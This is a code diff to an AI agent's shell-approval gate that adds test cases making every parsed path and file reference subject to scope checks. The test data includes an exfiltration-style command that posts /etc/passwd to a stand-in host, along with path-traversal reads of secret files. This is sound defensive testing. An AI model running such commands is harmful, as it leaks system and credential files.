Check every parsed shell path approval scope

src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs

@@ -238,6 +238,16 @@ public static class ShellApprovalCases
             Bash("git status"),
             Approvals.None,
             ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)),
+        Case(
+            "safe-verb-context-project-fallback-allows",
+            Bash("cat src/readme.txt", ApprovalDirectoryShape.None),
+            Approvals.None,
+            ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)),
+        Case(
+            "safe-verb-context-project-traversal-prompts",
+            Bash("cat ../secret.txt", ApprovalDirectoryShape.None),
+            Approvals.None,
+            ExpectedApproval.Require(["cat"])),
         Case(
             "safe-verb-session-allows",
             Bash("git status", ApprovalDirectoryShape.Session),
@@ -253,6 +263,21 @@ public static class ShellApprovalCases
             Bash("cat /etc/passwd"),
             Approvals.None,
             ExpectedApproval.Require(["cat"])),
+        Case(
+            "safe-verb-quoted-external-path-prompts",
+            Bash("cat \"/etc/netclaw.secret\""),
+            Approvals.None,
+            ExpectedApproval.Require(["cat"])),
+        Case(
+            "safe-verb-traversal-external-path-prompts",
+            Bash("cat safe/../../../../../../etc/netclaw.secret"),
+            Approvals.None,
+            ExpectedApproval.Require(["cat"])),
+        Case(
+            "safe-verb-namespaced-external-path-prompts",
+            Bash("cat filesystem::/etc/netclaw.secret"),
+            Approvals.None,
+            ExpectedApproval.Require(["cat"])),
         Case(
             "safe-verb-external-redirect-prompts",
             Bash($"git status > {TemporaryFile("netclaw-approval-matrix.txt")}"),
@@ -320,15 +345,65 @@ public static class ShellApprovalCases
             Approvals.PersistentHere(ApprovalDirectoryShape.Project, "tar"),
             ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)),
         Case(
-            "native-file-reference-scope-gap-currently-allows",
-            Bash("curl --data=@/etc/passwd https://example.invalid/api"),
+            "native-project-file-reference-reuses-grant",
+            Bash("curl --data=@request.json https://example.invalid/api"),
             Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
             ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:curl")),
         Case(
-            "native-later-path-scope-gap-currently-allows",
+            "native-external-file-reference-prompts",
+            Bash("curl --data=@/etc/passwd https://example.invalid/api"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
+            ExpectedApproval.Require(["curl"])),
+        Case(
+            "native-later-external-path-prompts",
             Bash("curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api"),
             Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
+            ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])),
+        Case(
+            "native-earlier-external-path-prompts",
+            Bash("curl -D /etc/netclaw.headers --data=@request.json https://example.invalid/api"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
+            ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])),
+        Case(
+            "native-two-project-paths-reuse-grant",
+            Bash("curl -D ./headers.txt --data=@request.json https://example.invalid/api"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
             ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:curl")),
+        Case(
+            "native-option-and-redirect-scopes-all-checked",
+            Bash("curl --data=@/etc/passwd https://example.invalid/api > ./response.json"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
+            ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])),
+        Case(
+            "native-dynamic-file-reference-fails-closed",
+            Bash("curl --data=@$REQUEST_FILE https://example.invalid/api"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"),
+            ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)),
+        Case(
+            "local-glob-allows-safe-verb",
+            Bash("ls *.txt"),
+            Approvals.None,
+            ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)),
+        Case(
+            "local-glob-reuses-project-grant",
+            Bash("rm *.tmp"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"),
+            ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:rm")),
+        Case(
+            "external-glob-does-not-reuse-project-grant",
+            Bash($"rm {TemporaryFile("*.bak")}"),
+            Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"),
+            ExpectedApproval.Require(["rm"])),
+        Case(
+            "glob-traversal-fails-closed",
+            Bash("cat */../../secret.txt"),
+            Approvals.PersistentAnywhere("cat"),
+            ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)),
+        Case(
+            "glob-intermediate-symlink-scope-fails-closed",
+            Bash("cat artifacts/*/secret.txt"),
+            Approvals.PersistentAnywhere("cat"),
+            ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)),
         Case(
             "native-global-option-identity-gap-currently-prompts",
             Bash("git --no-pager status"),

src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md

@@ -13,9 +13,14 @@
 | hard-deny-beats-stored-grant | Personal | Project | Interactive | netclaw daemon stop | persistent[anywhere]:netclaw daemon stop | Denied | hard_deny_self_destructive | none | Not applicable |
 | compound-hard-deny-denies | Personal | Project | Interactive | git status && netclaw daemon stop | none | Denied | hard_deny_self_destructive | none | Not applicable |
 | safe-verb-project-allows | Personal | Project | Interactive | git status | none | Allowed | SafeVerbInTrustedScope | none | Not applicable |
+| safe-verb-context-project-fallback-allows | Personal | None | Interactive | cat src/readme.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable |
+| safe-verb-context-project-traversal-prompts | Personal | None | Interactive | cat ../secret.txt | none | RequiresApproval | approval required | cat | No |
 | safe-verb-session-allows | Personal | Session | Interactive | git status | none | Allowed | SafeVerbInTrustedScope | none | Not applicable |
 | safe-verb-external-prompts | Personal | External | Interactive | git status | none | RequiresApproval | approval required | git status | No |
 | safe-verb-external-path-prompts | Personal | Project | Interactive | cat /etc/passwd | none | RequiresApproval | approval required | cat | No |
+| safe-verb-quoted-external-path-prompts | Personal | Project | Interactive | cat "/etc/netclaw.secret" | none | RequiresApproval | approval required | cat | No |
+| safe-verb-traversal-external-path-prompts | Personal | Project | Interactive | cat safe/../../../../../../etc/netclaw.secret | none | RequiresApproval | approval required | cat | No |
+| safe-verb-namespaced-external-path-prompts | Personal | Project | Interactive | cat filesystem::/etc/netclaw.secret | none | RequiresApproval | approval required | cat | No |
 | safe-verb-external-redirect-prompts | Personal | Project | Interactive | git status > {TempPath}netclaw-approval-matrix.txt | none | RequiresApproval | approval required | git status | No |
 | mutating-verb-project-prompts | Personal | Project | Interactive | git push | none | RequiresApproval | approval required | git push | No |
 | all-safe-compound-allows | Personal | Project | Interactive | git status && git log | none | Allowed | SafeVerbInTrustedScope | none | Not applicable |
@@ -29,8 +34,18 @@
 | native-external-path-operand-does-not-reuse-project-grant | Personal | Project | Interactive | kubectl apply /etc/deployment.yaml | persistent[project]:kubectl apply | RequiresApproval | approval required | kubectl apply | No |
 | native-output-option-outside-scope-prompts | Personal | Project | Interactive | curl -D /etc/netclaw.headers https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No |
 | native-command-valued-option-fails-closed | Personal | Project | Interactive | tar --info-script=./helper.sh archive.tar | persistent[project]:tar | RequiresApproval | approval required | none | Yes |
-| native-file-reference-scope-gap-currently-allows | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable |
-| native-later-path-scope-gap-currently-allows | Personal | Project | Interactive | curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable |
+| native-project-file-reference-reuses-grant | Personal | Project | Interactive | curl --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable |
+| native-external-file-reference-prompts | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No |
+| native-later-external-path-prompts | Personal | Project | Interactive | curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No |
+| native-earlier-external-path-prompts | Personal | Project | Interactive | curl -D /etc/netclaw.headers --data=@request.json https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No |
+| native-two-project-paths-reuse-grant | Personal | Project | Interactive | curl -D ./headers.txt --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable |
+| native-option-and-redirect-scopes-all-checked | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api > ./response.json | persistent[project]:curl | RequiresApproval | approval required | curl | No |
+| native-dynamic-file-reference-fails-closed | Personal | Project | Interactive | curl --data=@$REQUEST_FILE https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | none | Yes |
+| local-glob-allows-safe-verb | Personal | Project | Interactive | ls *.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable |
+| local-glob-reuses-project-grant | Personal | Project | Interactive | rm *.tmp | persistent[project]:rm | Allowed | StoredApproval | none | Not applicable |
+| external-glob-does-not-reuse-project-grant | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | rm | No |
+| glob-traversal-fails-closed | Personal | Project | Interactive | cat */../../secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes |
+| glob-intermediate-symlink-scope-fails-closed | Personal | Project | Interactive | cat artifacts/*/secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes |
 | native-global-option-identity-gap-currently-prompts | Personal | Project | Interactive | git --no-pager status | persistent[project]:git status | RequiresApproval | approval required | git | No |
 | semicolon-sequence-prompts | Personal | Project | Interactive | git status; git push | none | RequiresApproval | approval required | git status, git push | No |
 | newline-sequence-prompts | Personal | Project | Interactive | git status\ngit push | none | RequiresApproval | approval required | git status, git push | No |

src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs

@@ -16,6 +16,8 @@ namespace Netclaw.Actors.Tests.Tools;
 
 public sealed class ToolApprovalGateTests
 {
+    public static bool IsPosix => !OperatingSystem.IsWindows();
+
     private static ToolAccessPolicy CreatePolicy(ToolApprovalMode shellApprovalMode)
     {
         var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
@@ -93,6 +95,27 @@ public void Missing_personal_approval_policy_fails_closed_for_shell()
         Assert.Equal("shell_execute", decision.ApprovalContext!.ToolName);
     }
 
+    [SlopwatchSuppress("SW001", "This test verifies Bash glob behavior, which does not apply to the Windows shell parser.")]
+    [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")]
+    public void Static_shell_glob_uses_covering_directory_and_offers_persistent_approval()
+    {
+        var policy = CreatePolicy(ToolApprovalMode.Approval);
+        var args = ToolInput.Create(
+            "Command", "rm /tmp/*.bak",
+            "WorkingDirectory", "/home/user/project");
+
+        var decision = policy.AuthorizeInvocation(ShellTool(), PersonalContext(), args);
+
+        Assert.True(decision.NeedsApproval);
+        Assert.False(decision.ApprovalContext!.IsMessy);
+        var candidate = Assert.Single(decision.ApprovalContext.Candidates!);
+        Assert.Equal("rm", candidate.Verb);
+        Assert.Equal("/tmp", candidate.Directory);
+        Assert.Contains(
+            decision.ApprovalContext.Options,
+            option => option.Key.Value == ApprovalOptionKeys.ApproveAlways);
+    }
+
     [Fact]
     public void Compound_command_surfaces_all_approval_patterns_for_service_filtering()
     {

src/Netclaw.Actors/Tools/ToolAccessPolicy.cs

@@ -143,7 +143,10 @@ public ToolAccessDecision AuthorizeInvocation(
                     $"hard_deny_{hardDenyDecision.DenyCategory?.ToWireName() ?? "unknown"}");
         }
 
-        var workingDirectory = ExtractWorkingDirectory(arguments);
+        // All shell policy checks must use the directory that ShellTool uses.
+        // The explicit tool argument can be absent while the context supplies
+        // an active project, session, or inherited directory.
+        var workingDirectory = context.ResolveShellCwd(ExtractWorkingDirectory(arguments));
         if (shellCommand is not null
             && _toolPathPolicy?.CommandReferencesDeniedPath(shellCommand, workingDirectory) == true)
             return ToolAccessDecision.Deny("shell_references_protected_path");
@@ -267,6 +270,27 @@ private static bool ShellCommandHasPathArguments(string shellCommand)
         return ToolArgumentHelper.GetString(arguments, "WorkingDirectory");
     }
 
+    private static IDictionary<string, object?>? WithResolvedShellWorkingDirectory(
+        IDictionary<string, object?>? arguments,
+        string? resolvedWorkingDirectory)
+    {
+        if (string.IsNullOrWhiteSpace(resolvedWorkingDirectory)
+            || !string.IsNullOrWhiteSpace(ExtractWorkingDirectory(arguments)))
+        {
+            return arguments;
+        }
+
+        var analysisArguments = new Dictionary<string, object?>(StringComparer.OrdinalIgnoreCase);
+        if (arguments is not null)
+        {
+            foreach (var (key, value) in arguments)
+                analysisArguments[key] = value;
+        }
+
+        analysisArguments["WorkingDirectory"] = resolvedWorkingDirectory;
+        return analysisArguments;
+    }
+
     private ToolAccessDecision CheckApprovalGate(
         ToolName toolName,
         ToolExecutionContext context,
@@ -309,25 +333,27 @@ private ToolAccessDecision CheckApprovalGate(
         //   the prompt body. Button labels stay fixed; runtime values like
         //   paths never enter button text because Slack caps button text at
         //   76 chars and Discord at 80.
-        var patterns = matcher.ExtractPatterns(toolName, arguments);
-        var candidates = matcher.ExtractCandidates(toolName, arguments);
+        // The shell process and the approval parser must use one cwd. The tool
+        // argument can omit it because the context supplies the project or
+        // session directory. Give that resolved value to the parser too.
+        var isShell = string.Equals(toolName.Value, ShellTool.ToolName, StringComparison.Ordinal);
+        var resolvedShellCwd = isShell
+            ? context.ResolveShellCwd(ExtractWorkingDirectory(arguments))
+            : null;
+        if (isShell)
+            context.Approval.SetCwd(resolvedShellCwd);
+
+        var analysisArguments = isShell
+            ? WithResolvedShellWorkingDirectory(arguments, resolvedShellCwd)
+            : arguments;
+        var patterns = matcher.ExtractPatterns(toolName, analysisArguments);
+        var candidates = matcher.ExtractCandidates(toolName, analysisArguments);
         var candidateVerbs = candidates
             .Select(static c => c.Verb)
             .Distinct(StringComparer.OrdinalIgnoreCase)
             .ToList();
         var displayText = matcher.FormatForDisplay(toolName, arguments);
-        var isMessy = matcher.IsMessy(toolName, arguments);
-
-        // Resolve cwd up-front for shell so it's available to the safe-verb
-        // short-circuit, the shallow-cwd guard, AND the approval context that
-        // gets persisted on "Always here". Doing this only inside the
-        // short-circuit branch (as the original v2 layout did) drops cwd from
-        // ToolApprovalContext when conditions don't match — silently turning
-        // every "Always here" click into "Always anywhere" because the
-        // persistence path reads PendingToolInteraction.Cwd.
-        var isShell = string.Equals(toolName.Value, ShellTool.ToolName, StringComparison.Ordinal);
-        if (isShell)
-            context.Approval.SetCwd(context.ResolveShellCwd(ExtractWorkingDirectory(arguments)));
+        var isMessy = matcher.IsMessy(toolName, analysisArguments);
 
         // Safe-verb ∩ safe-space short-circuit. Runs only for shell and only
         // when the matcher could extract candidate verbs cleanly — messy